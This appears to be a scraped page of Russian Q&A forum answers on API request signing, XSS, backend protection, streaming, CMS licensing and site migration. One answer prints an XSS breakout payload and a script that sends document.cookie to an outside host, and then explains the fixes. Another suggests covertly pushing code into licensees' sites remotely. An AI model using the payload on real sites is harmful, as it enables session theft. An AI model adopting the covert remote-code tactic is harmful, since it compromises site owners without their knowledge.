• Как обезопасить сервер при получении POST?

    xmoonlight
    @xmoonlight
    https://sitecoder.blogspot.com
    Почитайте как сделать правильно REST API (для POST и не только).
    • HASH - подпись с применением функций хеширования и формул конкатенации данных запроса.
    • RANDOM - случайная строка символов или число для создания уникального запроса
    • TIMESTAMP - контроль давности запроса на стороне сервера.

    Кратко: нужно три дополнительных параметра (кроме параметров запроса к API): HASH, RANDOM, TIMESTAMP.
    HASH - формируем по TOKEN'у (его мы получаем заранее от сервера) на основе всех данных, передаваемых при запросе к API: API-параметры, RANDOM и TIMESTAMP.
    Проверяем подпись при получении запроса и сравниваем с HASH: если подпись равна HASH - исполняем запрос.
     

    UPD: про домен (доп.вариант проверки):
    Входные данные, которым мы хотим доверять:
    1. Доменное имя клиента API: домен_ожидаемый
    2. TXT-запись домена клиента API: TXT_запись_ожидаемая

    Имеющиеся данные (при получении запроса к API от клиента):
    3. IP клиента API: IP(1)

    При инициализации новой сессии (перед формировании нового токена), можно делать 3-4 DNS-запроса к любому публичному DNS-серверу (перед непосредственной генерацией токена!):
    1. reverse_lookup (IP(1) клиента API в имя домена(1)) => узнали домен(1).
    2. lookup (домен(1) в IP(2) по A-записи) => узнали IP(2)
    3. снова reverse_lookup (IP(2) в имя домена(2)).
    4. По желанию: можно проверить наличие нужных TXT-записей (и любых других) и сравнить с ожидаемыми (т.н., "статический публичный токен").

    После получения всех данных, проверяем:
    Домен_ожидаемый===домен(1) && IP(1)===IP(2) && домен(1)===домен(2) && TXT_запись_ожидаемая===TXT_запись_полученная

    Если выражение истинно, то выписываем токен на обратившийся клиентский IP для предоставления доступа этому клиенту для начала работы с нашим API.
    Ответ написан
  • Зачем во избежание XSS нужно указывать на каждой странице кодировку, если злоумышленник все равно может изменить ее?

    @JunDevTest
    Контакты: thejundev@gmail.com | @juniordev
    XSS это эксплуатация уязвимостей в HTML, JS и других скриптах.

    3. Указывайте кодировку на каждой веб-странице.

    Кодировку нужно указывать, так как некоторые браузеры могут её неправильно определить и текстовой контент на сайте станет нечитаемым.

    В случае если тег расположен до тега и заполняется пользовательскими данными

    Нужно фильтровать пользовательские данные, в том числе, когда они встраиваются в HTML разметку.
    Например, вы разрешаете пользователям изменять фоновую картинку в своём профиле.
    У вас есть текстовое поле, в которое пользователь вводит ссылку на картинку. После этого вы подставляете картинку пользователя, например из базы данных в переменную $user_background.
    Таким образом, код на странице пользователя, выглядит как-то так:
    <body style="background: #282b31 url($user_background) 50% 0 repeat;">
    ...
    </body>

    Пользователь вставляет свою ссылку example.com/image.png и в коде страницы, это выглядит так:
    <body style="background: #282b31 url(http://example.com/image.png) 50% 0 repeat;">
    ...
    </body>

    Казалось-бы, что здесь не так. Если пользователь вставит сюда что-нибудь кроме картинки, то ничего не будет, по правилам CSS, зачем что-то фильтровать или... нет.
    Предположим, школохацкер вставит вместо картинки какой-нибудь тег:
    <script>alert('Мамку админа ипал!!111');</script>
    В таком случае, как правило, ничего не произойдёт, но может съехать вёрстка, что уже признак уязвимости. Дальше у нашего хакира бомбанёт пупкан и он попросит помощи у старшего брата из группировки Онанимусов. Добрый братик изменит эту строчку так, чтобы превратить её в активную XSS уязвимость ( правильно говорить "раскрутит" её ).
    На этом этапе строчка будет выглядеть как-то так:
    http://example.com/image.png') 50% 0 repeat;"><script>alert('Мамку админа ипал!!111');</script><input type="hidden" style="background: #282b31 url(

    Она не только радостно поприветствует алертом каждого, кто зайдёт на эту страницу, но ещё и установит картинку и не испортит вёрстку сайта, да ещё и к тому же не нарушит правил CSS. Итак, это и есть XSS уязвимость.
    Они к слову, бывают нескольких видов. Активные и пассивные.
    Чтобы расширить свой кругозор в области XSS, рекоммендую прочесть старый как помёт мамонта, мануал на форуме Antichat: forum.antichat.ru/threads/20140/ ( странно, ссылка вырезается, не уж то Ачат на Тостере под запретом? ).

    Что тут происходит?!
    Из-за отсутствия фильтрации текст из поля, сохраняется в БД в первоначальном виде. Как только он попадает на страницу, начинается самое интересное ^_^.
    Сначала код устанавливает картинку на фон, потом благополучно закрывает этот тег. После этого идёт "пейлоад", то есть JS код, например. С таким же успехом, можно запихнуть туда, например тег test или кучу ссылок на продажу виагры с анкорами, тем самым подняв некоторые показатели, например, индекс цитируемости (ТИЦ) для своих ссылок. После этого мы создаём новый тег input, делаем его скрытым и тем самым закрываем тег ( по стандартам html, этот элемент не нуждается в закрывающемся теге ). Уязвимость готова.

    Что ещё?
    Ну если вам этого недостаточно то можно "выипать админа" с помощью соц. инженерии и... той самой XSS. Для этого достаточно лишь поменять код JS на что-то вроде:
    <script>$.get('http://example.com/adminlox.php?sniffer=' + document.cookie);</script>

    и если у нубоадмина нет httponly у куков, то можно получить данные админа и войти под его аккаунтом или даже попасть в админку сайта. Дальше можно кое-что залить, но это уже совсем другая история... :3

    Как фиксить?
    Как минимум в этом конкретном случае, обернуть PHP переменную $user_background в
    htmlspecialchars($user_background, ENT_QUOTES, 'UTF-8');
    таким образом, код, показанный выше уже работать не будет. Дальше нужно установить httponly у сессионных Cookie (если ещё не стоит), для этого нужно заменить вашу конструкцию, на что-то вроде этого:
    header( "Set-Cookie: name=value; httpOnly" );
    или так
    setcookie('Foo','Bar',0,'/', 'www.sample.com'  , FALSE, TRUE);

    ну и вообще, перед тем как что-то писать, лучше прочтите хотя-бы одну книгу по PHP7.x, JS ec6, HTML5,CSS3. Я сам их не читал, поэтому это можете спросить здесь, новым вопросом. Здесь есть ребята, которые могут подсказать действительно годную и современную литературу.
    Удачи вам, в познании XSS.
    Ответ написан
    Комментировать
  • Как и что учить по сетям?

    @Strabbo
    Для cisco могу посоветовать "Сети для самых маленьких" . Отличный курс . Также у них есть свой сайт, где много интересного и не только cisco. Так же у INE есть отличные курси и по циске и по джуну.

    P.S. В packet tracer столькнётесь со многими багами, для начала вам сойдет, потом сомтрите в сторону GNS3 и Eve-ng. У них есть возможность виртуализировать и циско и микротик и джунипер и линукс сервер. Для huawei лучше использовать eNSP
    Ответ написан
    Комментировать
  • Как обезопасить свой бекенд от разработчиков?

    Wolfnsex
    @Wolfnsex
    Если не хочешь быть первым - не вставай в очередь!
    Особенно интересно, как этот вопрос решается на крупных сайтах. Может ли там кто-то взять и завалить сайт в одиночку? В общем, очень интересная тема, в которой ничего не представляю.
    Не буду многословен в этот раз, расскажу Вам вкратце, как это реализовано у нас:
    0. Тим лид/Ведущий разработчик/Руководитель отдела разработчиков или иной ответственный, проводящий анализ кода (Code review)
    1. Договор, в котором чёткое написано, что за причинение умышленного ущерба работодателю/проекту - штраф (очень много тыс. зеленых рублей)
    *я ещё хотел вписать в договор пункт, на подобии "за систематическое нарушение Code convention (соглашения по написанию кода) - отрубать по одному пальцу", но юрист не одобрил...

    Про такие банальные вещи, как: бекап, тестовый сервер, Git и т.п. я думаю говорить не стоит, т.к. без подобных штук жить и работать если и возможно - то очень тяжело, особенно на мало мальски крупных проектах.

    Подберите хорошего (как специалиста) и преданного своему делу, адекватного руководителя проекта/разработчиков, сочетание таких факторов как "здоровая атмосфера" на работе + договор с пунктом "за причинение умышленного ущерба проекту - ответственность вплоть до уголовной" + соблюдение обязательств перед разработчиками с Вашей стороны - разительно сокращает риск различных негативных поступков со стороны разработчиков (впрочем, как и любых других людей).

    На 100% застраховаться, разумеется не получиться, но любой вменяемый разработчик, должен понимать, что за проектом следят/смотрят, и "откуда растут ноги" у такого явления как "убили базу и положили сайт" - при желании можно быстро найти, проанализировав некоторый срез активности... Иногда неплохо им об этом напоминать.
    Ответ написан
    4 комментария
  • Как обезопасить свой бекенд от разработчиков?

    CityCat4
    @CityCat4 Куратор тега Информационная безопасность
    Внимание! Изменился адрес почты!
    Решается комплексом из технических и юридических мер.
    Технически - бэкапы, разные, разными средствами, никому недоступные.
    Юридически - изучить гл. 70 ГК РФ "Авторское право" (там много не относящегося к ПО, правда), дать изучить бэкендеру. Изучить УК РФ, ст. 146 и ст. 272 - и дать изучить бэкендеру (особенно ст. 272). Правильно составить договор - там тонкостей до... фига :)
    Ответ написан
    1 комментарий
  • Как обезопасить свой бекенд от разработчиков?

    Во первых бекапы. Поломал - зафиксировали, отправили заяву в ментовку и восстановились из бекапа.
    От закладок поможет наличие либо знаний, либо второго человека, который будет работать в комманде.
    Ну и самое главное - хорошие отношения с работниками и не наё... с зарплатой, обещал - плати.
    Ответ написан
    8 комментариев
  • Как обезопасить свой бекенд от разработчиков?

    thewind
    @thewind
    php программист, front / backend developer
    Git + gitflow + code review
    Любые странные куски обсуждаются
    Ответ написан
    4 комментария
  • Как обезопасить свой бекенд от разработчиков?

    index0h
    @index0h
    PHP, Golang. https://github.com/index0h
    Он запрятал кусок кода, что если на сайт входит юзер с ником xxx, то удалить всю базу данных пользователей.

    Не обманывайте программиста, платите в срок и все будет хорошо.

    Что делать?

    Подписать договор, в котором явно обозначить пункт о причинении вреда исполнителем.

    Как доверять сердце своего проекта незнакомых людям?

    Так же, как вы доверяете зубному.

    Особенно интересно, как этот вопрос решается на крупных сайтах.

    На крупных сайтах это решается за счет контроля доступа и штата программистов и сисдаминов, которые поддерживают систему 365/24/7

    Может ли там кто-то взять и завалить сайт в одиночку?

    Да, безусловно. Но смысла в этом нет.

    В общем, очень интересная тема, в которой ничего не представляю.

    Программисты - люди далеко не глупые, как правило. Действия, что вы привели в пример возможны, но только в случае крайнего недоверия программиста-новичка к вам как заказчику.
    Ответ написан
    8 комментариев
  • Как обезопасить свой бекенд от разработчиков?

    @xfg
    Удалить может и пользователь используя уязвимость. Вообще в этом мире существуют бекапы, а так неплохо бы код ревью делать. Никакие изменения не мержатся пока их не подтвердят два других разработчика. Не для того чтобы обезопаситься, а чтобы спагетти-код не проходил. Это в интересах разработчиков. Им же возможно в будущем придется разбираться в этой лапше. Поэтому проще сразу отклонить.

    У рядового разработчика не должно быть доступа на продакшен. Оно ему не надо. Вытянул код из репозитория, накатил тестовую базу. Сделал изменения. Отправил пулл реквест.

    Если у вас всё делает один человек, а вы только создаете видимость работы, то конечно он вас кинет если будет прибыль. Сколько уже видел таких ламерских проектов. Пациент нашел раба. Сам ничего не может. Жмет кнопки в админке. Считает, что работает за семерых. Раб везет телегу до поры до времени. Упс, а у пациента даже бекапов нет. Ибо идиот. Прикольно за этим наблюдать.
    Ответ написан
  • Как бы массово раздать файл на телевизоры?

    edinorog
    @edinorog
    Троллей не кормить!
    проигрывание файла с любого сетевого хранилища (nas) нынче не в моде?)

    https://www.dns-shop.ru/catalog/17a8ab5b16404e77/s... на вкус и цвет. лижи какой хошь )

    соответственно все телевизоры связываем через впн сервер (если здания не связан сетью) с сетевым хранилищем. и берем плеер-приложение которым можно управлять удаленно. если там есть андроид.
    Ответ написан
    2 комментария
  • Как бы массово раздать файл на телевизоры?

    Stalker_RED
    @Stalker_RED
    Есть такая штука как DLNA, и очень многие бытовые устройства умеют с ней работать. Есть и аналоги, типа miracast, apple airplay, и т.д., по ссылкам из вики можно на них выйти.

    Если вдруг часть телевизоров недостаточно умные, есть разнообразные "тв свистки" и приставки.
    https://ru.aliexpress.com/wholesale?catId=0&Search...
    Ответ написан
    3 комментария
  • Как сверстать шестикутники чтоб фон у них юила одна картинка?

    LenovoId
    @LenovoId
    svg, css,js
    шестикутники чтоб фон у них юила одна картинка

    это на каком языке ?
    Ответ написан
    1 комментарий
  • Как это сверстать?

    Stimulate
    @Stimulate
    могу
    Ответ написан
    Комментировать
  • Как реализовать такую штуку для удобного заполнения через админку?

    neuotq
    @neuotq
    Прокрастинация
    Я думаю вам отлично подойдет API Яндекс карт, у них есть возможность использования и построения собственных карт в отрыве от земной поверхности.
    А дальше в базе данных будете хранить id значков, id и координаты объектов, ну и прочие параметры.
    Общий смысл работы такой же, как и с обычными яндекс картами.
    Ответ написан
    Комментировать
  • Стрим с вэб-камер на сайт?

    @marataziat
    Джангист-тракторист
    Поднимаете RTMP сервер на Nginx, (это очень просто), ему через FFMpeg стримите по RTMP поток, этот поток выводите на плеер (их готовых куча)! Могу сделать :3
    Ответ написан
    Комментировать
  • Какой конструктор лендинга?

    Hando
    @Hando
    Верстак
    Сканнеров не знаю, но если нужен конструктор лендингов, проще купить на themeforest какой-нибудь конструктор лендингов, которых там навалом, за 15 баксов и не париться, чем платить абонентку. По запросу Page Builder вылезет целая куча. Я использовал вот такой: https://themeforest.net/item/select-landing-page-s... до сих пор у меня лежит на каком то сайте. Но это уже довольно древний билдер, ему года два, сейчас есть новее и современнее.

    А все эти наши отечественные конструкторы имеют ряд критичных минусов:
    1. Абонентка от 300 до 1500 рублей.
    2. Зачастую всего 1 домен на 1 учетную запись.
    3. Проблемы с внедрением стороннего кода. Например своих плагинов на квери или корзинки на аяксе.
    4. Дополнительное вымогание денег за всякие копирайты и прочую ерунду.
    5. Нет возможности самому исправить баги(а они есть везде), в результате приходится сидеть и ждать когда снизойдут сами разработчики, чтобы пофиксить то, что вам надо.
    Ответ написан
    2 комментария
  • Имею ли я право препятствовать работе сайтов, использующих созданную мною CMS незаконно?

    zoonman
    @zoonman
    ⋆⋆⋆⋆⋆
    Часть первая, добрая

    1. Идете к юристу и оформляете правильную лицензию, в которой вы предоставляете право на использование вашего продукта. Жестко запретите модификацию кода CMS всеми, кроме вас. Оставьте за собой право модификации кода удаленно, в любое время без предварительных уведомлений. Оставьте за собой право отзыва или изменения лицензий без уведомлений и объяснений. Запретите перепродажу. В лицензии добавьте оговорку насчет статьи 273, что действия по модификации кода сайта являются санкционированными и неотъемлемой частью продукта.
    2. Реализуете и обкатываете механизм автоматического лицензирования через интернет. Вешаете лицензионное соглашение на официальный сайт продукта.
    3. Рассылаете всем нелицензионным пользователям "письмо счастья", в котором доходчиво объясняете, что их копия не лицензирована и т.д. Рекомендую вам разрешить использование своей CMS для некоммерческих организаций и домашних страничек без рекламы при наличии ссылки на сайт продукта. Предложите бесплатное обновление для некоммерческих пользователей.

    Часть вторая, злая

    1. После введения новой лицензии, но до уведомления всех письмами счастья, удаленно зашиваете код, который будет выводить html-комментарий о том, что данная копия не имеет лицензии т.д. и т.п. Там же должна быть ссылка на ваш сайт, где можно лицензировать продукт. Данный шаг не будет препятствовать работе с сайтом.
    2. Рассылаете письма счастья.
    3. Ждете, пока пройдет срок, в течение которого компании должны лицензировать свои версии.
    4. Вместе с юристом выбираете компанию, на которую вы подадите в суд за нелицензионное использование своей CMS и у которой точно выиграете дело. Судитесь. Выигрываете. Далее на сайте проекта вешаете официальную информацию о судебном разбирательстве и решении в пользу истца. Делаете огласку истории, публикуете ее на всяких Спарках/Хабрах/Цукербергах и прочих ресурсах.
    5. Через месяцок рассылаете новые письма счастья с уведомлением о том, что бывает с теми, кто отказался. Ссылку на результаты разбирательства приводите.
    Плюс, можете вывесить список сайтов у себя, где нелегально используется ваша CMS.

    Работайте и разговаривайте исключительно с компаниями, которые непосредственно зарабатывают деньги через вашу CMS и для которых сайт действительно важен. На школьников, геймеров и мусор не тратье время. Шкурка выделки не стоит.

    Часть третья, плохая

    Для всяких нехороших людей, ничего из себя не представляющих и пишущих маты вам в ответ, включайте 404-ю для поисковых роботов. Они очень громко будут вас ругать на форумах. Не обращайте внимания.
    Ответ написан
    Комментировать
  • Как перенести сайт на другой хостинг без скачивания?

    Sanes
    @Sanes
    В ISPmanager есть функция переноса аккаунта. В противном случае, архивируете файлы и скачиваете средствами файлового менеджера на новом сервере (есть опция загрузить по URL). БД всё же придётся скачать на свой компьютер, но она как привило весит совсем немного.
    Ответ написан
    Комментировать
  • Как перенести сайт на другой хостинг без скачивания?

    nalomenko
    @nalomenko
    Руководитель отдела разработок в студии «Lava»
    Если это обычный Shared хостинг, то самому никак (только если администрация хостинга согласится заняться этим вопросом).
    Если же это VPS — то идите в консоль по SSH, запускайте Midnight Commander и сливайте по FTP данные на новый хостинг, используя только трафик хост-провайдера.
    Ответ написан
    Комментировать